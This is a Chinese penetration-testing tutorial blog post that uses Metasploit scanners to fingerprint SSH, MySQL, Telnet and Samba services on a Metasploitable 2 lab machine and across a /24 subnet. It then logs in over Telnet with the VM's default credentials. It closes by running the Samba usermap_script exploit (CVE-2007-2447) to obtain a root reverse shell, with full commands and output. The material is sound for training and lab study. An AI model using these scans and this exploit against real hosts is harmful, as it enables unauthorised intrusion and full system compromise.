Kail Linux滲透測試教程之在Metasploit中掃描

大學霸發表於2015-09-01

Kail Linux滲透測試教程之在Metasploit中掃描

Metasploit中掃描

Metasploit中,附帶了大量的內建掃描器。使用這些掃描器可以搜尋並獲得來自一臺計算機或一個完整網路的服務資訊。本節將介紹使用Metasploit中的輔助模組實現掃描。

【例項4-4】在Metasploit中,掃描目標主機。具體操作步驟如下所示:

1)啟動MSF終端。執行命令如下所示:

root@kali:~# msfconsole

msf>

2)搜尋所有可用的掃描模組。執行命令如下所示:

msf > search scanner

Matching Modules

================

   Name                                 Disclosure Date     Rank           Description

   ----                                    --------------------    -----------  ---------------------------------------------

   auxiliary/admin/smb/check_dir_file                             normal  SMB Scanner Check File/Directory Utility

   auxiliary/bnat/bnat_scan                                       normal  BNAT Scanner

   auxiliary/gather/citrix_published_applications                  normal  Citrix MetaFrame ICA Published Applications Scanner

   auxiliary/gather/enum_dns                                     normal  DNS Record Scanner and Enumerator

   auxiliary/gather/natpmp_external_address                      normal  NAT-PMP External Address Scanner

   auxiliary/gather/windows_deployment_services_shares        normal  Microsoft Windows Deployment Services Unattend Gatherer

   auxiliary/pro/nexpose                                         normal  PRO: Nexpose Scanner Integration

   auxiliary/pro/webscan                                          normal  PRO: Web Application Scanner

   auxiliary/scanner/afp/afp_login                                 normal  Apple Filing Protocol Login Utility

   auxiliary/scanner/afp/afp_server_info                                     normal  Apple Filing Protocol Info Enumerator

   auxiliary/scanner/backdoor/energizer_duo_detect              normal  Energizer DUO Trojan Scanner

   auxiliary/scanner/chargen/chargen_probe     1996-02-08       normal  Chargen Probe Utility

輸出資訊顯示了,Metasploit中所有可用的掃描模組。這些模組針對各種型別的服務。這裡為了縮小檢視的範圍,搜尋SSH服務的掃描模組。

3)掃描SSH服務的掃描模組。執行命令如下所示:

msf > search scanner/ssh

Matching Modules

================

   Name                                     Disclosure Date  Rank    Description

   ----                                         ---------------    -----------  -------------------------------------------

   auxiliary/scanner/ssh/cerberus_sftp_enumusers  2014-05-27 normal     Cerberus FTP Server SFTP Username Enumeration

   auxiliary/scanner/ssh/ssh_enumusers                          normal     SSH Username Enumeration

   auxiliary/scanner/ssh/ssh_identify_pubkeys                                normal     SSH Public Key Acceptance Scanner

   auxiliary/scanner/ssh/ssh_login                              normal     SSH Login Check Scanner

   auxiliary/scanner/ssh/ssh_login_pubkey                       normal     SSH Public Key Login Scanner

   auxiliary/scanner/ssh/ssh_version                            normal     SSH Version Scanner

輸出的資訊,顯示了幾個有效的SSH模組。現在就可以選擇相應的模組,進行掃描了。

4)使用ssh_version模組掃描SSH服務。執行命令如下所示:

msf > use auxiliary/scanner/ssh/ssh_version

5)檢視ssh_version模組下可配置的選項引數。執行命令如下所示:

msf auxiliary(ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):

   Name      Current Setting  Required             Description

   ------------     ---------------     --------      -----------------------------------------------------------------------------

   RHOSTS                             yes       The target address range or CIDR identifier

   RPORT    22                  yes       The target port

   THREADS          1                    yes       The number of concurrent threads

   TIMEOUT                     30                  yes       Timeout for the SSH probe

輸出的資訊顯示了可配置的模組。從以上結果中,可以看出RHOSTS選項沒有配置。

6)配置RHOSTS選項。執行命令如下所示:

msf auxiliary(ssh_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

從輸出的結果中,可以看到RHOSTS(目標主機地址)選項已經設定為192.168.6.105Metasploit 2作業系統)。

7)啟動掃描。執行命令如下所示:

msf auxiliary(ssh_version) > exploit

[*] 192.168.6.105:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ssh_version) >

從輸出的資訊中,可以看到目標系統正執行SSH服務,並且版本為SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

【例項4-5】掃描MySQL伺服器。具體操作步驟如下所示:

1)登入MSF終端。執行命令如下所示:

root@kali:~# msfconsole

msf>

2)使用mysql_version模組,並檢視該模組中可配置的選項引數。執行命令如下所示:

msf > use auxiliary/scanner/mysql/mysql_version

msf auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description

   ----     ---------------  --------  -----------

   RHOSTS                    yes       The target address range or CIDR identifier

   RPORT    3306             yes       The target port

   THREADS  1                yes       The number of concurrent threads

從輸出的資訊中,可以看到RHOSTS選項沒有配置。此時,配置RHOSTS來指定目標主機的地址。

3)設定RHOSTS選項,並進行MySQL服務掃描。執行命令如下所示:

msf auxiliary(mysql_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

msf auxiliary(mysql_version) > exploit

[*] 192.168.6.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

從輸出的結果中,可以看到目標主機上正在執行的MySQL版本是5.0.51a

【例項4-6】掃描Telnet服務。具體操作步驟如下所示:

1)啟動MSF終端。執行命令如下所示:

root@kali:~# msfconsole

msf>

2)使用telnet_version模組,並檢視可配置的選項引數。執行命令如下所示:

msf > use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required    Description

   ----         ---------------     ---------------  -----------------------------------------------------------------------

   PASSWORD                    no        The password for the specified username

   RHOSTS                         yes       The target address range or CIDR identifier

   RPORT             23              yes       The target port

   THREADS         1               yes       The number of concurrent threads

   TIMEOUT           30              yes       Timeout for the Telnet probe

   USERNAME                    no        The username to authenticate as

從輸出的資訊中,可以看到有四個必須配置選項。其中三個選項已經配置,現在配置RHOSTS選項。

3)配置RHOSTS選項,並啟動掃描。執行命令如下所示:

msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

msf auxiliary(telnet_version) > exploit

 [*] 192.168.6.105:23 TELNET _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                         \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

從以上輸出的資訊,僅看到一堆文字資訊。在這些資訊中,沒有關於Telnet服務的版本資訊。但是顯示了登入認證資訊,Login with msfadmin/msfadmin to get started。從這條資訊中,可以獲取到目標主機Telnet服務的使用者名稱和密碼。此時可以嘗試登入。

4)登入目標主機的Telnet服務。執行命令如下所示:

root@kali:~# telnet -l msfadmin 192.168.6.105

Trying 192.168.6.105...

Connected to 192.168.6.105.

Escape character is '^]'.

Password:                                                                         #輸入密碼msfadmin

Last login: Tue Jul  8 06:32:46 EDT 2014 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

No mail.

msfadmin@metasploitable:~$

以上資訊顯示了登入Telnet服務的資訊。在輸出資訊中看到msfadmin@metasploitable:~$提示符,則表示成功登入了Telnet服務。此時可以執行一些標準的Linux命令。例如檢視多個組的成員,執行命令如下所示:

msfadmin@metasploitable:~$ id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

輸出資訊中顯示了msfadmin使用者的相關資訊。其中,gid表示groups中第1個組賬號為該使用者的基本組,groups中的其他組賬號為該使用者的附加組。

Metasploit中,可以掃描一系列地址。下面以掃描Samba伺服器為例,介紹掃描一個網路內執行的Samba伺服器。首先演示下,掃描單個地址的Samba伺服器。

【例項4-7】演示目標掃描主機地址為192.168.6.105Samba伺服器。具體操作步驟如下所示:

1)啟動MSF終端。執行命令如下所示:

root@kali:~# msfconsole

msf>

2)使用smb_version模組,並檢視該模組可配置的選項引數。執行命令如下所示:

msf > use auxiliary/scanner/smb/smb_version

msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting   Required           Description

   ----       ---------------         -----------   -----------------------------------------------------------------------

   RHOSTS                     yes       The target address range or CIDR identifier

   SMBDomain  WORKGROUP    no        The Windows domain to use for authentication

   SMBPass                      no        The password for the specified username

   SMBUser                      no        The username to authenticate as

   THREADS    1                yes       The number of concurrent threads

3)配置RHOSTS選項。執行命令如下所示:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

4)啟動掃描。執行命令如下所示:

msf auxiliary(smb_version) > exploit

[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

從輸出的資訊中,可以看到掃描到正在執行的Samba伺服器及其版本。

接下來演示掃描192.168.6.0/24網路內所有執行Sambas伺服器的主機。具體操作步驟如下所示:

1)選擇使用smb_version模組。執行命令如下所示:

msf > use auxiliary/scanner/smb/smb_version

2)配置smb_version模組中可配置的選項引數。執行命令如下所示:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24

RHOSTS => 192.168.6.0/24

msf auxiliary(smb_version) > set THREADS 255

THREADS => 255

3)啟動掃描。執行命令如下所示:

msf auxiliary(smb_version) > exploit

[*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP)

[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)

[*] 192.168.6.104:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LYW) (domain:LYW)

[*] 192.168.6.110:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:AA-886OKJM26FSW) (domain:WORKGROUP)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

從輸出的資訊中,可以看到192.168.6.0/24網路內有四臺主機上正在執行著Samba伺服器。在顯示的資訊中,可以看到執行Samba伺服器的作業系統型別。

【例項4-8】滲透攻擊Samba伺服器。具體操作步驟如下所示:

1)啟動MSF終端。執行命令如下所示:

root@kali:~# msfconsole

msf>

2)搜尋usermap模組。執行命令如下所示:

msf > search samba/usermap

Matching Modules

================

   Name                            Disclosure Date   Rank       Description

   ----                                ---------------     -----------     -----------------------------------------------

   exploit/multi/samba/usermap_script  2007-05-14      excellent  Samba "username map script" Command Execution

從輸出的資訊中,可以看到有個usermap模組。

3)檢視usermap_script模組的詳細資訊。執行命令如下所示:

msf > info exploit/multi/samba/usermap_script

       Name: Samba "username map script" Command Execution

     Module: exploit/multi/samba/usermap_script

   Platform: Unix

 Privileged: Yes

    License: Metasploit Framework License (BSD)

       Rank: Excellent

Provided by:

  jduck <jduck@metasploit.com>

Available targets:

  Id  Name

  --  ----

  0   Automatic

Basic options:

  Name   Current Setting  Required  Description

  ----      ---------------       --------    -----------

  RHOST                   yes       The target address

  RPORT  139              yes       The target port

Payload information:

  Space: 1024

Description:

  This module exploits a command execution vulerability in Samba

  versions 3.0.20 through 3.0.25rc3 when using the non-default

  "username map script" configuration option. By specifying a username

  containing shell meta characters, attackers can execute arbitrary

  commands. No authentication is needed to exploit this vulnerability

  since this option is used to map usernames prior to authentication!

References:

  

  

  http://www.securityfocus.com/bid/23972

  

  http://samba.org/samba/security/CVE-2007-2447.html

輸出的資訊顯示了usermap_script模組的詳細資訊。從輸出資訊中可以看到,該模組僅需要配置RHOST選項就可以了。這裡不需要載入任何攻擊載荷,就可以自動使用一個Linux命令Shell

3)選擇使用usermap_script模組,並設定RHOST選項。執行命令如下所示:

msf > use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > set RHOST 192.168.6.105

RHOST => 192.168.6.105

4)啟動滲透攻擊。執行命令如下所示:

msf exploit(usermap_script) > exploit

 [*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo IwmN37I0D3cTGJhv;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "IwmN37I0D3cTGJhv\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:34848) at 2014-07-16 10:00:59 +0800

從輸出的資訊中,可以看到成功的開啟了一個會話。這表示已成功攻擊了目標主機。此時使用者可以執行一些Linux命令,檢視目標主機的相關資訊。如下所示:

whoami                                                                     #檢視當前登入系統的使用者

root

從輸出的資訊中,可以看到當前目標系統登入的使用者名稱是root。如果想了解該使用者的詳細資訊,可以使用id命令檢視。如下所示:

id                                                                                 #檢視當前登入使用者的資訊

uid=0(root) gid=0(root)

輸出的資訊表上root使用者屬於root組,並且其UIDGID都為0

本文選自:Kail Linux滲透測試實訓手冊大學霸內部資料,轉載請註明出處,尊重技術尊重IT人!

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/29597077/viewspace-1788180/,如需轉載,請註明出處,否則將追究法律責任。

相關文章